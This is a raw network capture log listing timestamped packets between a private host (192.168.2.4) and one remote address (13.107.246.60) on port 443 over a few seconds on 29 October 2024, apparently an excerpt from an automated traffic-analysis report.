Oct 29, 2024 04:53:03.368099928 CET	443	49785	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.371807098 CET	443	49782	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.371921062 CET	443	49782	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.371980906 CET	49782	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.372085094 CET	49782	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.372101068 CET	443	49782	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.372109890 CET	49782	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.372119904 CET	443	49782	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.374675035 CET	49786	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.374706030 CET	443	49786	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.374795914 CET	49786	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.374896049 CET	49786	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.374922037 CET	443	49786	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.376255035 CET	443	49781	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.376424074 CET	443	49781	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.376487970 CET	49781	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.376574993 CET	443	49780	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.376615047 CET	49781	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.376619101 CET	443	49781	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.376660109 CET	49781	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.376662970 CET	443	49781	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.376732111 CET	443	49780	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.378333092 CET	49780	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.378400087 CET	49780	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.378403902 CET	443	49780	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.378415108 CET	49780	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.378417969 CET	443	49780	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.378674984 CET	49787	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.378683090 CET	443	49787	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.378736019 CET	49787	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.378900051 CET	49787	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.378910065 CET	443	49787	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.380182028 CET	49788	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.380223989 CET	443	49788	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:03.381355047 CET	49788	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.381477118 CET	49788	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:03.381504059 CET	443	49788	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.060601950 CET	443	49784	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.061554909 CET	49784	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.061579943 CET	443	49784	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.062001944 CET	49784	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.062015057 CET	443	49784	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.093332052 CET	443	49786	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.093683004 CET	49786	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.093718052 CET	443	49786	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.094060898 CET	49786	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.094073057 CET	443	49786	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.096436977 CET	443	49785	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.096798897 CET	49785	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.096813917 CET	443	49785	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.097130060 CET	49785	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.097135067 CET	443	49785	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.106261015 CET	443	49787	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.106496096 CET	49787	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.106511116 CET	443	49787	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.106915951 CET	49787	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.106920958 CET	443	49787	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.118268013 CET	443	49788	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.118511915 CET	49788	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.118591070 CET	443	49788	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.118891001 CET	49788	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.118906975 CET	443	49788	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.191798925 CET	443	49784	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.191848040 CET	443	49784	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.191952944 CET	49784	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.192158937 CET	49784	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.192194939 CET	443	49784	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.192246914 CET	49784	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.192262888 CET	443	49784	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.195396900 CET	49789	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.195457935 CET	443	49789	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.195575953 CET	49789	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.195741892 CET	49789	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.195787907 CET	443	49789	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.221698046 CET	443	49786	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.221759081 CET	443	49786	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.221811056 CET	49786	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.222094059 CET	49786	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.222094059 CET	49786	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.222116947 CET	443	49786	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.222137928 CET	443	49786	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.224216938 CET	49790	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.224282980 CET	443	49790	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.224380970 CET	49790	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.224510908 CET	49790	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.224541903 CET	443	49790	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.227359056 CET	443	49785	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.227410078 CET	443	49785	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.227458000 CET	49785	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.227543116 CET	49785	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.227543116 CET	49785	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.227559090 CET	443	49785	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.227570057 CET	443	49785	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.229418039 CET	49791	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.229448080 CET	443	49791	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.229526043 CET	49791	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.229657888 CET	49791	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.229682922 CET	443	49791	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.234028101 CET	443	49787	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.234154940 CET	443	49787	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.234209061 CET	49787	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.234239101 CET	49787	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.234246969 CET	443	49787	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.234257936 CET	49787	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.234263897 CET	443	49787	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.236100912 CET	49792	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.236150980 CET	443	49792	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.236228943 CET	49792	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.236346960 CET	49792	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.236377001 CET	443	49792	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.248677015 CET	443	49788	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.248857021 CET	443	49788	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.248919010 CET	49788	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.249135971 CET	49788	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.249135971 CET	49788	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.249166012 CET	443	49788	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.249195099 CET	443	49788	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.250850916 CET	49793	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.250871897 CET	443	49793	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.250931978 CET	49793	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.251041889 CET	49793	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.251059055 CET	443	49793	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.933154106 CET	443	49789	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.933690071 CET	49789	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.933732033 CET	443	49789	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.934216976 CET	49789	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.934230089 CET	443	49789	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.947238922 CET	443	49790	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.947668076 CET	49790	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.947694063 CET	443	49790	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.948194027 CET	49790	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.948200941 CET	443	49790	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.951064110 CET	443	49791	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.951445103 CET	49791	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.951461077 CET	443	49791	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.951850891 CET	49791	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.951874971 CET	443	49791	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.971045017 CET	443	49792	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.971467018 CET	49792	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.971503973 CET	443	49792	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.971884012 CET	49792	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.971890926 CET	443	49792	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.989382982 CET	443	49793	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.989881992 CET	49793	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.989902020 CET	443	49793	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:04.990134954 CET	49793	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:04.990140915 CET	443	49793	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.063885927 CET	443	49789	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.064100027 CET	443	49789	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.064271927 CET	49789	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.064271927 CET	49789	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.064271927 CET	49789	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.067106009 CET	49794	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.067142010 CET	443	49794	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.067214966 CET	49794	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.067342043 CET	49794	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.067358971 CET	443	49794	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.076293945 CET	443	49790	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.076354980 CET	443	49790	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.076411963 CET	49790	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.076505899 CET	49790	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.076540947 CET	443	49790	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.076566935 CET	49790	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.076582909 CET	443	49790	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.078747988 CET	49795	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.078773022 CET	443	49795	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.078854084 CET	49795	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.078994989 CET	49795	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.079010963 CET	443	49795	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.080068111 CET	443	49791	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.080550909 CET	443	49791	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.080632925 CET	49791	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.080632925 CET	49791	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.080670118 CET	49791	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.080691099 CET	443	49791	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.082516909 CET	49796	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.082560062 CET	443	49796	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.082634926 CET	49796	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.082776070 CET	49796	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.082804918 CET	443	49796	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.100621939 CET	443	49792	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.100826979 CET	443	49792	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.100892067 CET	49792	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.100944042 CET	49792	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.100944042 CET	49792	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.100971937 CET	443	49792	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.100999117 CET	443	49792	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.102952003 CET	49797	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.102983952 CET	443	49797	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.103079081 CET	49797	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.103208065 CET	49797	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.103234053 CET	443	49797	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.121367931 CET	443	49793	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.121510029 CET	443	49793	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.121577978 CET	49793	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.121608019 CET	49793	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.121617079 CET	443	49793	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.121630907 CET	49793	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.121638060 CET	443	49793	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.123620033 CET	49798	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.123636007 CET	443	49798	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.123713970 CET	49798	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.123838902 CET	49798	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.123852968 CET	443	49798	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.374002934 CET	49789	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.374030113 CET	443	49789	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.799825907 CET	443	49795	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.800380945 CET	49795	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.800396919 CET	443	49795	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.800894976 CET	49795	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.800899982 CET	443	49795	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.802727938 CET	443	49794	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.803112984 CET	49794	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.803143978 CET	443	49794	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.803576946 CET	49794	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.803582907 CET	443	49794	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.822031975 CET	443	49796	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.822468996 CET	49796	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.822485924 CET	443	49796	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.822880030 CET	49796	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.822887897 CET	443	49796	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.844104052 CET	443	49797	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.852679968 CET	49797	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.852713108 CET	443	49797	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.853130102 CET	49797	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.853159904 CET	443	49797	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.868700027 CET	443	49798	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.869488001 CET	49798	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.869505882 CET	443	49798	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.869927883 CET	49798	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.869937897 CET	443	49798	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.928217888 CET	443	49795	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.928287029 CET	443	49795	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.928345919 CET	49795	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.928621054 CET	49795	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.928631067 CET	443	49795	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.928638935 CET	49795	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.928642988 CET	443	49795	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.931149006 CET	49799	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.931190968 CET	443	49799	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.931389093 CET	49799	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.931545019 CET	49799	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.931574106 CET	443	49799	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.933738947 CET	443	49794	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.933857918 CET	443	49794	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.933923006 CET	49794	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.933990002 CET	49794	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.933990002 CET	49794	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.934048891 CET	443	49794	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.934073925 CET	443	49794	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.935712099 CET	49800	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.935744047 CET	443	49800	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.935810089 CET	49800	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.935910940 CET	49800	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.935925961 CET	443	49800	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.961844921 CET	443	49796	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.961888075 CET	443	49796	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.961941957 CET	49796	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.962037086 CET	49796	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.962066889 CET	443	49796	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.962091923 CET	49796	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.962107897 CET	443	49796	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.964030981 CET	49801	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.964041948 CET	443	49801	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:05.964112997 CET	49801	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.964250088 CET	49801	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:05.964262009 CET	443	49801	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.004852057 CET	443	49798	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.005048037 CET	443	49798	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.005105972 CET	49798	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.005151987 CET	49798	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.005166054 CET	443	49798	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.005177975 CET	49798	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.005182028 CET	443	49798	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.007249117 CET	443	49797	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.007287979 CET	49802	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.007323027 CET	443	49802	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.007375956 CET	49802	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.007400036 CET	443	49797	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.007457018 CET	49797	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.007518053 CET	49797	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.007518053 CET	49797	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.007543087 CET	443	49797	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.007584095 CET	443	49797	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.008304119 CET	49802	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.008318901 CET	443	49802	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.009360075 CET	49803	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.009368896 CET	443	49803	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.009433985 CET	49803	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.009568930 CET	49803	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.009578943 CET	443	49803	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.657314062 CET	443	49799	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.657852888 CET	49799	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.657879114 CET	443	49799	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.658333063 CET	49799	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.658345938 CET	443	49799	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.676944017 CET	443	49800	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.677341938 CET	49800	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.677352905 CET	443	49800	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.677782059 CET	49800	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.677788973 CET	443	49800	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.733844042 CET	443	49801	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.734380007 CET	49801	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.734392881 CET	443	49801	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.734853983 CET	49801	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.734858036 CET	443	49801	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.743865967 CET	443	49803	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.744430065 CET	49803	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.744441032 CET	443	49803	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.744829893 CET	49803	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.744833946 CET	443	49803	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.752882957 CET	443	49802	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.753160000 CET	49802	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.753175974 CET	443	49802	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.753504038 CET	49802	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.753509998 CET	443	49802	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.787535906 CET	443	49799	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.787611008 CET	443	49799	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.787740946 CET	49799	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.788074970 CET	49799	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.788094044 CET	443	49799	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.788127899 CET	49799	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.788142920 CET	443	49799	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.791167021 CET	49804	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.791203022 CET	443	49804	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.791281939 CET	49804	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.791450977 CET	49804	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.791460991 CET	443	49804	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.813224077 CET	443	49800	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.813272953 CET	443	49800	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.813316107 CET	49800	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.813443899 CET	49800	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.813466072 CET	443	49800	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.813477039 CET	49800	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.813483000 CET	443	49800	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.815514088 CET	49805	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.815556049 CET	443	49805	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:06.815625906 CET	49805	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.815728903 CET	49805	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:06.815747023 CET	443	49805	13.107.246.60	192.168.2.4
